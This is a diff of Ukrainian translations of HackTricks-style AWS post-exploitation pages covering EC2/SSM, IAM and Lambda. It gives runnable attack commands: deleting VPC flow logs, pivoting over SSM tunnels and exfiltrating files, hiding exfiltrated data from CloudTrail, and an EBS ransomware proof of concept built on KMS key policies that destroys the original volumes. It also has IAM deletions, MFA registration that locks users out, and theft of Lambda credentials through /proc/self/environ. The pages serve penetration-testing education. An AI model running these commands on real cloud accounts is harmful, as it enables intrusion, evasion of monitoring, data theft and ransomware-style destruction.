-Можна запустити EC2 інстанс і зареєструвати його для запуску ECS інстансів, а потім викрасти дані цих ECS інстансів.
+Можна запустити EC2 instance і зареєструвати його для запуску ECS instances, а потім викрасти дані ECS instances.
-For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
+Для [**детальнішої інформації див. тут**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### Видалити VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
-### SSM перенаправлення портів
+### SSM Port Forwarding
-Потрібні дозволи:
+Необхідні дозволи:
- `ssm:StartSession`
-Окрім виконання команд, SSM дозволяє тунелювання трафіку, що може бути використане для pivoting з EC2 інстансів, які не мають доступу до мережі через Security Groups або NACLs.
-Один зі сценаріїв, де це корисно — pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного кластера EKS.
+Окрім виконання команд, SSM підтримує traffic tunneling, що дає змогу виконати pivot з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs.
+Один зі сценаріїв, де це корисно — виконати pivot з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера.
-> Щоб розпочати сесію, потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
-1. Встановіть SessionManagerPlugin на вашому комп'ютері
+1. Встановіть SessionManagerPlugin на вашу машину
2. Увійдіть на Bastion EC2, використовуючи наступну команду:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
-4. Перенесіть ці облікові дані на власну машину в файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`
-5. Увійдіть в EKS як Bastion EC2:
+3. Отримайте тимчасові облікові дані AWS для Bastion EC2 за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Передайте облікові дані на вашу машину в файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`
+5. Увійдіть у EKS як Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб воно вказувало на `https://localhost`
-7. Створіть SSM тунель таким чином:
+7. Створіть SSM tunnel наступним чином:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region
```
-8. Трафік інструмента `kubectl` тепер пересилається тунелем SSM через Bastion EC2, і ви можете отримати доступ до приватного кластера EKS зі своєї машини, виконавши:
+8. Трафік із інструменту `kubectl` тепер пересилається через SSM-тунель на Bastion EC2, і ви можете отримати доступ до приватного EKS кластера зі своєї машини, виконавши:
```shell
kubectl get pods --insecure-skip-tls-verify
```
-Зверніть увагу, що SSL-з'єднання зазнають невдачі, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s інструментах аудиту). Оскільки трафік тунелюється через захищений AWS SSM tunnel, ви захищені від будь-яких MitM-атак.
+Зауважте, що SSL-з'єднання не вдасться, якщо ви не встановите прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM тунель, ви в безпеці від будь-яких MitM attacks.
-Нарешті, ця техніка не обмежується атакою приватних EKS-кластерів. Ви можете вказувати довільні домени та порти, щоб виконати pivot на будь-який інший AWS service або власний застосунок.
+Нарешті, ця техніка не обмежується атаками на приватні EKS кластери. Ви можете вказувати довільні домени та порти, щоб pivot до будь-якого іншого AWS service або власного застосунку.
---
-#### Швидке локальне ↔️ віддалене переадресування портів (AWS-StartPortForwardingSession)
+#### Швидке локальне ↔️ віддалене перенаправлення портів (AWS-StartPortForwardingSession)
-Якщо вам потрібно переадресувати лише **один TCP-порт з EC2 інстансу на вашу локальну машину**, ви можете використати SSM документ `AWS-StartPortForwardingSession` (параметр remote host не потрібен):
+Якщо вам потрібно переслати **лише один TCP порт з EC2 інстансу на ваш локальний хост**, ви можете використати SSM-документ `AWS-StartPortForwardingSession` (параметр віддаленого хоста не потрібен):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region
```
-Ця команда встановлює двонаправлений тунель між вашою робочою станцією (`localPortNumber`) та обраним портом (`portNumber`) на інстансі **без відкриття будь-яких вхідних правил Security-Group**.
+Команда створює двонаправлений тунель між вашою робочою станцією (`localPortNumber`) та обраним портом (`portNumber`) на інстансі **без відкриття будь-яких вхідних правил Security-Group**.
-Common use cases:
+Типові сценарії використання:
* **File exfiltration**
-1. На інстансі запустіть швидкий HTTP-сервер, який обслуговує директорію, яку ви хочете exfiltrate:
+1. На інстансі запустіть тимчасовий HTTP server, який вказує на каталог, який ви хочете exfiltrate:
```bash
python3 -m http.server 8000
```
-2. З вашої робочої станції завантажте файли через SSM тунель:
+2. З вашої робочої станції отримайте файли через тунель SSM:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
-* **Доступ до внутрішніх веб-застосунків (e.g. Nessus)**
+* **Доступ до внутрішніх веб-додатків (наприклад Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -251,28 +251,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
-Порада: Стисніть і зашифруйте докази перед ексфільтрацією, щоб CloudTrail не реєстрував незашифрований вміст:
+Порада: Compress і encrypt докази перед exfiltrating, щоб CloudTrail не реєстрував вміст у відкритому вигляді:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
-### Надання доступу до AMI
+### Поділитися AMI
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
-### Пошук конфіденційної інформації в публічних і приватних AMIs
+### Пошук чутливої інформації в публічних і приватних Amazon Machine Images (AMIs)
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — це інструмент, призначений для **пошуку конфіденційної інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску інстансів із цільових AMIs, підключення їхніх томів і сканування на наявність потенційних secrets або конфіденційних даних.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску instances з цільових AMIs, монтування їх volumes та сканування на наявність можливих secrets або чутливих даних.
-### Надати доступ до EBS Snapshot
+### Надання доступу до EBS Snapshot
```bash
aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
```
### EBS Ransomware PoC
-Доказ концепції, подібний до демонстрації Ransomware, наведеної в S3 post-exploitation notes. KMS варто перейменувати на RMS (Ransomware Management Service), бо ним дуже просто користуватися для шифрування різних сервісів AWS.
+Доказ концепції, подібний до демонстрації Ransomware, описаної в нотатках щодо post-exploitation для S3. KMS варто перейменувати на RMS (Ransomware Management Service) через те, наскільки просто ним користуватися для шифрування різних AWS сервісів.
-Спочатку з 'attacker' AWS акаунту створіть customer managed key у KMS. У цьому прикладі ми дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії зловмисник зберіг би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати ключ. У цій key policy ім'я акаунту було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption'
+Спочатку з облікового запису AWS «атакуючого» створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії зловмисник зберігав би дані ключа поза контролем AWS. Змініть key policy так, щоб будь-який AWS account Principal міг використовувати ключ. У цій key policy ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption'.
```
{
"Version": "2012-10-17",
@@ -372,21 +372,21 @@ The key policy rule needs the following enabled to allow for the ability to use
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-Тепер, коли загальнодоступний ключ доступний для використання. Ми можемо використати 'victim' акаунт, у якому запущено кілька EC2 інстансів з приєднаними нешифрованими EBS томами. Саме EBS томи цього 'victim' акаунта є нашою метою для шифрування — ця атака відбувається за умови компрометації AWS акаунта з високими привілеями.
+Тепер, коли публічно доступний ключ готовий до використання. Ми можемо використати обліковий запис 'victim', у якому запущено кілька EC2 інстансів з приєднаними незашифрованими EBS томами. Саме EBS томи цього облікового запису 'victim' ми націлюємо для шифрування; ця атака відбувається за умови компрометації AWS акаунта з високими привілеями.
 
-Схоже на приклад S3 ransomware. Ця атака створює копії приєднаних EBS томів за допомогою snapshots, використовує загальнодоступний ключ з 'attacker' акаунта для шифрування нових EBS томів, потім від'єднує оригінальні EBS томи від EC2 інстансів і видаляє їх, а вкінці видаляє snapshots, що використовувались для створення щойно зашифрованих EBS томів. 
+Подібно до прикладу S3 ransomware. Ця атака створює копії приєднаних EBS томів за допомогою snapshots, використовує публічно доступний ключ з облікового запису 'attacker' для шифрування нових EBS томів, потім від'єднує оригінальні EBS томи від EC2 інстансів і видаляє їх, а в кінці — видаляє snapshots, які були використані для створення нових зашифрованих EBS томів. 
-В результаті в акаунті залишаться лише зашифровані EBS томи.
+У результаті в акаунті залишаться лише зашифровані EBS томи.
-Також варто зауважити, що скрипт зупинив EC2 інстанси, щоб від'єднати і видалити оригінальні EBS томи. Оригінальні нешифровані томи тепер зникли.
+Також слід зауважити, що скрипт зупинив EC2 інстанси, щоб від'єднати та видалити оригінальні EBS томи. Оригінальні незашифровані томи тепер зникли.
-Далі поверніться до key policy в 'attacker' акаунті і видаліть правило політики 'Outside Encryption' з key policy.
+Далі поверніться до політики ключа в обліковому записі 'attacker' і видаліть правило політики 'Outside Encryption' з політики ключа.
```json
{
"Version": "2012-10-17",
@@ -457,15 +457,15 @@ The key policy rule needs the following enabled to allow for the ability to use
]
}
```
-Зачекайте деякий час, щоб щойно встановлена політика ключа поширилася. Потім поверніться в обліковий запис 'victim' і спробуйте приєднати один із щойно зашифрованих EBS volumes. Ви побачите, що можете приєднати том.
+Зачекайте хвилину, щоб нова політика ключа розповсюдилася. Потім поверніться до облікового запису 'victim' і спробуйте приєднати один із щойно зашифрованих EBS томів. Ви побачите, що том можна приєднати.
 
-Але коли ви спробуєте фактично запустити EC2 instance з приєднаним зашифрованим EBS volume, він просто зазнає невдачі і буде переходити зі стану 'pending' назад у стан 'stopped' назавжди, оскільки приєднаний EBS volume не може бути розшифрований за допомогою ключа через те, що політика ключа більше цього не дозволяє.
+Але коли ви спробуєте фактично знову запустити EC2 instance з зашифрованим EBS томом, це просто не вдасться — інстанс перейде зі стану 'pending' назад у стан 'stopped' назавжди, оскільки приєднаний EBS том не можна розшифрувати за допомогою ключа, бо політика ключа більше цього не дозволяє.
 
-Ось python-скрипт, який використовувався. Він приймає AWS creds для облікового запису 'victim' і загальнодоступне AWS ARN значення ключа, що використовуватиметься для шифрування. Скрипт створює зашифровані копії ВСІХ доступних EBS volumes, приєднаних до ВСІХ EC2 instances у цільовому AWS акаунті, після чого зупиняє кожен EC2 instance, від’єднує оригінальні EBS volumes, видаляє їх і нарешті видаляє всі snapshots, використані під час процесу. Це залишить у цільовому обліковому записі 'victim' лише зашифровані EBS volumes. КОРИСТУЙТЕСЯ ЦИМ СКРИПТОМ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS VOLUMES. Ви зможете відновити їх за допомогою застосованого KMS key і повернути в початковий стан через snapshots, але майте на увазі, що в підсумку це ransomware PoC.
+Ось python script, який використовувався. Він приймає AWS creds для облікового запису 'victim' та публічно доступний AWS ARN значення для ключа, що буде використаний для шифрування. Скрипт створює зашифровані копії всіх доступних EBS томів, приєднаних до всіх EC2 instances у цільовому AWS обліковому записі, потім зупиняє кожен EC2 instance, від'єднує оригінальні EBS томи, видаляє їх і, нарешті, видаляє всі snapshots, використані під час процесу. В результаті в цільовому обліковому записі 'victim' залишаться лише зашифровані EBS томи. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН РУЙНІВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх за допомогою використаного ключа KMS та повернути до початкового стану через snapshots, але хочу, аби ви знали, що в кінцевому підсумку це ransomware PoC.
```
import boto3
import argparse
@@ -584,6 +584,6 @@ main()
```
## Посилання
-- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – Як передавати файли в AWS за допомогою SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
index b406a8d01..8f67d1fc7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
@@ -12,13 +12,13 @@ For more information about IAM access:
## Confused Deputy Problem
-Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, тому що якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), можливо, що **B також зможе отримати доступ до вашого облікового запису**.
+Якщо ви **дозволяєте зовнішньому акаунту (A)** отримати доступ до **ролі** у вашому акаунті, ви, ймовірно, матимете **нульову видимість** щодо того, **хто саме може отримати доступ до того зовнішнього акаунту**. Це проблема, тому що якщо інший зовнішній акаунт (B) може отримати доступ до зовнішнього акаунту (A), то можливо, що **B також зможе отримати доступ до вашого акаунту**.
-Тому, дозволяючи зовнішньому обліковому запису доступ до ролі у вашому обліковому записі, можна вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **отримати роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цього рядка**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
+Тому при наданні зовнішньому акаунту доступу до ролі у вашому акаунті можна вказати `ExternalId`. Це "секретний" рядок, який зовнішньому акаунту (A) **потрібно вказати**, щоб **assume the role у вашій організації**. Оскільки **зовнішній акаунт B не буде знати цього рядка**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
-Зверніть увагу, що цей `ExternalId` "секрет" **не є секретом** — будь-хто, хто може **прочитати IAM assume role policy, зможе його побачити**. Але доки зовнішній обліковий запис A його знає, а зовнішній обліковий запис **B — ні**, це **перешкоджає B зловживати A для доступу до вашої ролі**.
+Проте зауважте, що цей `ExternalId` "секрет" **не є секретом** — будь-хто, хто може **прочитати IAM assume role policy, зможе його побачити**. Але поки зовнішній акаунт A його знає, а зовнішній акаунт **B його не знає**, це **перешкоджає B зловживати A для доступу до вашої ролі**.
Example:
```json
@@ -39,7 +39,7 @@ Example:
}
```
> [!WARNING]
-> Щоб attacker міг експлуатувати confused deputy, йому потрібно якимось чином з'ясувати, чи можуть principals поточного облікового запису імітувати roles в інших облікових записах.
+> Для attacker, щоб експлуатувати confused deputy, йому потрібно якось з'ясувати, чи principals поточного account можуть impersonate roles в інших account.
### Неочікувані довірчі відносини
@@ -51,9 +51,9 @@ Example:
"Principal": { "AWS": "*" }
}
```
-Ця політика **дозволяє всім AWS** приймати цю роль.
+Ця політика **дозволяє всім AWS** приймати роль.
-#### Сервіс як суб'єкт
+#### Сервіс як принципал
```json
{
"Action": "lambda:InvokeFunction",
@@ -73,7 +73,7 @@ Example:
}
}
```
-Якщо як principal вказано S3 bucket, оскільки S3 buckets не мають Account ID, якщо ви **видалили свій bucket і зловмисник створив** його в своєму акаунті, то зловмисник міг би цим зловживати.
+Якщо як principal вказано S3 bucket, оскільки S3 buckets не мають Account ID, і якщо ви **видалили свій bucket, а зловмисник створив** його у своєму обліковому записі, то вони можуть цим зловживати.
#### Не підтримується
```json
@@ -84,10 +84,10 @@ Example:
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
-Звичний спосіб уникнення проблем Confused Deputy — використання умови з `AWS:SourceArn` для перевірки ARN джерела. Однак **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail, за деякими джерелами).
+A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
### Видалення облікових даних
-Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — актор може видаляти access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates або CloudFront public keys, або відв'язувати ролі від instance profiles. Такі дії можуть негайно заблокувати легітимних користувачів та додатки і спричинити denial-of-service або втрату доступу для систем, що залежать від цих облікових даних, тому ці IAM permissions мають бути суворо обмежені та відстежувані.
+Маючи будь-який із наведених дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — актор може видалити access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates або CloudFront public keys, або disassociate roles from instance profiles. Такі дії можуть негайно заблокувати легітимних користувачів та застосунки і спричинити denial-of-service або втрату доступу для систем, що залежать від цих credentials, тому ці IAM permissions мають бути суворо обмежені та підлягати моніторингу.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Видалення ідентичностей
-Маючи дозволи на кшталт `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, актор може видаляти користувачів, ролі або групи — або змінювати членство в групі — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей та сервісів, які залежать від цих ідентичностей, спричинивши denial-of-service або втрату доступу, тому ці дії IAM мають бути суворо обмежені й моніторовані.
+Маючи дозволи на кшталт `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, актор може видалити користувачів, ролі або групи — або змінити членство в групі — видаляючи ідентичності та пов’язані сліди. Це може негайно порушити доступ для людей і сервісів, які залежать від цих ідентичностей, спричиняючи denial-of-service або втрату доступу, тому ці дії IAM повинні бути суворо обмежені та підлягати моніторингу.
```bash
# Delete a user
aws iam delete-user \
@@ -114,8 +114,7 @@ aws iam delete-group \
aws iam delete-role \
--role-name
```
-###
-Маючи будь-який із наступних дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — актор може видаляти або від'єднувати керовані/вбудовані (inline) політики, видаляти версії політик або межі дозволів (permissions boundaries), а також відв'язувати політики від користувачів, груп чи ролей. Це руйнує авторизації та може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб'єктів, які покладалися на ці політики, тому ці IAM‑дії повинні бути суворо обмежені та підлягати моніторингу.
+З будь-яким із наведених дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — актор може видаляти або відчіплювати керовані/вбудовані політики, видаляти версії політик або межі дозволів, а також відв’язувати політики від користувачів, груп або ролей. Це руйнує авторизації та може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб’єктів, які залежали від цих політик, тому ці дії IAM повинні бути суворо обмежені й відслідковуватися.
```bash
# Delete a group policy
aws iam delete-group-policy \
@@ -128,7 +127,7 @@ aws iam delete-role-policy \
--policy-name
```
### Видалення федеративної ідентичності
-За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` та `iam:RemoveClientIDFromOpenIDConnectProvider` зловмисник може видалити провайдерів ідентичності OIDC/SAML або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджаючи валідації токенів і негайно відмовляючи у доступі користувачам та сервісам, які залежать від SSO, доки IdP або конфігурації не буде відновлено.
+За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` та `iam:RemoveClientIDFromOpenIDConnectProvider` актор може видалити постачальників ідентифікації OIDC/SAML або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджаючи валідації токенів та негайно позбавляє доступу користувачів і сервісів, які покладаються на SSO, доки IdP або конфігурації не будуть відновлені.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
@@ -138,8 +137,8 @@ aws iam delete-open-id-connect-provider \
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
-### Нелегітимна активація MFA
-За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій на ідентичності користувача, що завадить легітимному користувачу увійти в систему. Після того як несанкціонований MFA увімкнено, користувач може бути заблокований до видалення або скидання пристрою (примітка: якщо зареєстровано кілька MFA-пристроїв, для входу достатньо одного, тож ця атака не впливатиме на відмову в доступі).
+### Несанкціонована активація MFA
+За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати пристрій MFA в обліковому записі користувача, перешкоджаючи легітимному користувачеві увійти. Після активації несанкціонованого MFA користувач може бути заблокований доти, доки пристрій не буде видалено або скинуто (примітка: якщо зареєстровано кілька пристроїв MFA, для входу потрібен лише один, тож ця атака не вплине на відмову у доступі).
```bash
aws iam enable-mfa-device \
--user-name \
@@ -147,8 +146,8 @@ aws iam enable-mfa-device \
--authentication-code1 123456 \
--authentication-code2 789012
```
-### Маніпуляція метаданими сертифікатів/ключів
-За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` актор може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши їхні посилання, він може порушити автентифікацію SSH, зробити недійсними перевірки X.509/TLS і негайно порушити роботу сервісів, які залежать від цих облікових даних, спричиняючи втрату доступу або доступності.
+### Маніпулювання метаданими сертифікатів/ключів
+За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` зловмисник може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши посилання на них, він може порушити SSH-автентифікацію, зробити невірними валідації X.509/TLS і негайно порушити роботу сервісів, які залежать від цих облікових даних, спричиняючи втрату доступу або доступності.
```bash
aws iam update-ssh-public-key \
--user-name \
@@ -161,7 +160,7 @@ aws iam update-server-certificate \
```
### `iam:Delete*`
-Шаблон IAM iam:Delete* надає можливість видаляти багато типів ресурсів IAM — користувачів, ролей, груп, політик, ключів, сертифікатів, пристроїв MFA, версій політик тощо — і тому має дуже велику зону ураження: суб'єкт, якому надано iam:Delete*, може назавжди знищити ідентичності, облікові дані, політики та пов'язані артефакти, видалити аудиторські дані/докази та спричинити відмови сервісів або операційні перебої. Деякі приклади:
+IAM wildcard iam:Delete* дає можливість видаляти багато типів IAM-ресурсів — користувачів, ролі, групи, політики, ключі, сертифікати, пристрої MFA, версії політик тощо — і тому має дуже великий blast radius: суб'єкт, якому надано iam:Delete*, може назавжди знищити ідентичності, облікові дані, політики та пов'язані артефакти, видалити журнали аудиту/докази та спричинити відмови сервісів або операційні збої. Деякі приклади:
```bash
# Delete a user
aws iam delete-user --user-name
@@ -174,11 +173,13 @@ aws iam delete-policy --policy-arn arn:aws:iam:::policy/
```
### `iam:EnableMFADevice`
-Актор, якому надано дію iam:EnableMFADevice, може зареєструвати MFA device для identity в акаунті, за умови, що user раніше не мав увімкненого MFA. Це може використовуватись, щоб перешкодити доступу user: якщо attacker зареєструє MFA device, легітимному user може бути заборонено увійти, оскільки він не контролює MFA, зареєстроване attacker.
+Актор, якому надано дію iam:EnableMFADevice, може зареєструвати MFA device на identity в account, за умови, що user раніше не мав увімкненого MFA.
-Ця атака відмови в доступі працює тільки якщо user не мав зареєстрованого MFA; якщо attacker зареєструє MFA device для цього user, легітимний user буде заблокований у будь-яких потоках, що вимагають цього нового MFA. Якщо user вже має один або більше MFA devices під своїм контролем, додавання attacker-controlled MFA не блокує легітимного user — він може продовжувати автентифікуватися, використовуючи будь-який наявний MFA.
+Цим можна завадити доступу user: як тільки attacker зареєструє MFA device, легітимному user може бути заборонено sign in, оскільки він не контролює attacker-зареєстрований MFA.
-Щоб увімкнути (зареєструвати) MFA device для user, attacker може виконати:
+Ця атака на відмову в доступі працює лише якщо user не мав зареєстрованого MFA; якщо attacker зареєструє MFA device для цього user, легітимний user буде заблокований у будь-яких flows, які вимагають цього нового MFA. Якщо user вже має один або кілька MFA devices під своїм контролем, додавання attacker-controlled MFA не блокує легітимного user — він може продовжувати authenticate, використовуючи будь-який MFA, який уже має.
+
+Щоб enable (register) MFA device для user, attacker може виконати:
```bash
aws iam enable-mfa-device \
--user-name \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index e40124bad..d9696f1bf 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -1,30 +1,30 @@
-# AWS - Lambda Пост-експлуатація
+# AWS - Lambda Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
-Для додаткової інформації див.:
+Для отримання додаткової інформації див.:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Експфільтрація Lambda Credentials
+### Екфільтрація облікових даних Lambda
-Lambda використовує змінні середовища для ін'єкції облікових даних під час виконання. Якщо ви можете отримати до них доступ (наприклад, прочитавши `/proc/self/environ` або використавши саму вразливу функцію), ви можете використовувати їх самостійно. Вони зберігаються у змінних за замовчуванням `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` та `AWS_ACCESS_KEY_ID`.
+Lambda використовує змінні середовища для інжекції облікових даних під час виконання. Якщо ви можете отримати до них доступ (читанням `/proc/self/environ` або використавши вразливу функцію), ви можете користуватися ними самостійно. Вони зберігаються у стандартних іменах змінних `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` та `AWS_ACCESS_KEY_ID`.
-За замовчуванням ці облікові дані матимуть доступ на запис у cloudwatch log group (назва якої зберігається в `AWS_LAMBDA_LOG_GROUP_NAME`), а також на створення довільних log group; проте lambda functions часто мають більше дозволів, призначених відповідно до їхнього призначення.
+За замовчуванням ці облікові дані мають право запису до cloudwatch log group (назва якої зберігається в `AWS_LAMBDA_LOG_GROUP_NAME`), а також створювати довільні log groups; проте функції Lambda часто мають додаткові права, призначені залежно від їхнього призначення.
### `lambda:Delete*`
-Зловмисник, якому надано `lambda:Delete*`, може видаляти Lambda functions, versions/aliases, layers, event source mappings та інші пов'язані конфігурації.
+Атакувальник, якому надано lambda:Delete*, може видаляти Lambda functions, versions/aliases, layers, event source mappings та інші пов'язані конфігурації.
```bash
aws lambda delete-function \
--function-name
```
### Steal Others Lambda URL Requests
-Якщо атакуючому якимось чином вдасться отримати RCE всередині Lambda, він зможе викрасти HTTP-запити інших користувачів до цієї Lambda. Якщо запити містять конфіденційну інформацію (cookies, credentials...), він зможе їх викрасти.
+If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
{{#ref}}
aws-warm-lambda-persistence.md
@@ -32,7 +32,7 @@ aws-warm-lambda-persistence.md
### Steal Others Lambda URL Requests & Extensions Requests
-Зловживаючи Lambda Layers, також можна використовувати extensions для забезпечення персистенції в Lambda, а також викрадати й модифікувати запити.
+Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
{{#ref}}
